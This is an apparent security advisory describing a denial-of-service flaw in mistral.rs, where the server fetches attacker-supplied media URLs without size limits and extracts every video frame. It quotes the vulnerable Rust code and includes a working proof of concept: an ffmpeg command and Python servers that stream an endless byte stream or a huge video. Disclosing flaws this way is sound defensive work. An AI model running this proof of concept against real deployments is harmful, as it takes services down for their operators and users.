A AegiFlow
HIGHCVSS 7.5

GHSA-m3wp-48jr-vr4g

mistral.rs: Unbounded Remote Media Fetch and Video Frame Expansion DoS

Published
2026-09-10
Modified
2026-09-10
Sources
github-advisory

Summary

## Unbounded Remote Media Fetch and Video Frame Expansion DoS ### Summary The `POST /v1/chat/completions` endpoint in mistral.rs fetches attacker-supplied media URLs (image, audio, video) into server memory with no byte limit, and extracts every frame of a supplied video when `num_frames` is `None`. An unauthenticated remote attacker can exhaust server memory, disk space, and CPU by pointing the endpoint at an infinite-streaming HTTP server or a long high-framerate video, causing a complete denial of service. No credentials or special configuration are required; the route is open by default. ### Details Three independent sinks contribute to the vulnerability: **1. Unbounded image/audio fetch (`mistralrs-server-core/src/util.rs:59–62`)** ```rust let bytes = if url.scheme() == "http" || url.scheme() == "https" { match reqwest::get(url.clone()).await { Ok(http_resp) => http_resp.bytes().await?.to_vec(), // no byte cap Err(e) => anyhow::bail!(e), } ``` `bytes().await` buffers the entire HTTP response body before returning. There is no `Content-Length` check, no streaming limit, and no timeout specific to the media fetch. An attacker-controlled server that never closes the connection causes the server process to accumulate memory indefinitely. **2. Unbounded video fetch (`mistralrs-server-core/src/video.rs:65–69`)** ```rust let bytes = if url.scheme() == "http" || url.scheme() == "https" { let resp = reqwest::get(url.clone()) .await .context(format!("Failed to fetch video: {url}"))?; resp.bytes().await?.to_vec() // no byte cap ``` Identical pattern to the image path; the full video body is buffered into a `Vec `. **3. Unbounded FFmpeg frame extraction (`mistralrs-server-core/src/video.rs:225–248`)** ```rust } else { let mut command = tokio::process::Command::new("ffmpeg"); command .arg("-i") .arg(input_path.to_str().unwrap()) .arg("-vsync") .arg("vfr") .arg(&output_pattern); ``` When `num_frames` is `None`, no `-frames:v` argument is passed to FFmpeg and every frame is extracted to disk. The call site at `mistralrs-server-core/src/chat_completion.rs:946` always passes `None`: ```rust parse_video_url(&url_unparsed, None) ``` A 60 fps × 1080p × 180 s video therefore produces ~10 800 PNG files, consuming tens of gigabytes of disk space and saturating CPU. **Entry point and auth** The route is registered at `mistralrs-server-core/src/mistralrs_server_router_builder.rs:365–368` with only `track_metrics`, CORS, and a `DefaultBodyLimit(50 MB)` middleware. The `DefaultBodyLimit` applies only to the incoming JSON request body, not to the subsequent server-side `reqwest::get()` calls. No authentication middleware is present in the default configuration. ### PoC **Step 1 – Create a long high-framerate video (requires FFmpeg on the attacker machine)** ```bash ffmpeg -y -f lavfi -i testsrc=size=1920x1080:rate=60:duration=180 \ -c:v libx264 -preset ultrafast -crf 35 many_frames.mp4 ``` **Step 2 – Serve the video (or an infinite byte stream) from an attacker-controlled HTTP server** ```python # Option A: serve the video file from http.server import BaseHTTPRequestHandler, HTTPServer class H(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "video/mp4") self.end_headers() with open("many_frames.mp4", "rb") as f: self.wfile.write(f.read()) HTTPServer(("0.0.0.0", 9001), H).serve_forever() ``` ```python # Option B: infinite image stream (memory exhaustion, no FFmpeg required) from http.server import BaseHTTPRequestHandler, HTTPServer import time class H(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "image/png") self.end_headers() chunk = b"\x89PNG\r\n\x1a\n" + b"\x00" * (1024 * 1024 - 8) while True: self.wfile.write(chunk)

Affected packages

EcosystemPackageAffected versionsFixed versions
rustmistralrs-server-core0.8.18

Remediation: Upgrade to 0.8.18 or later.

References

Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.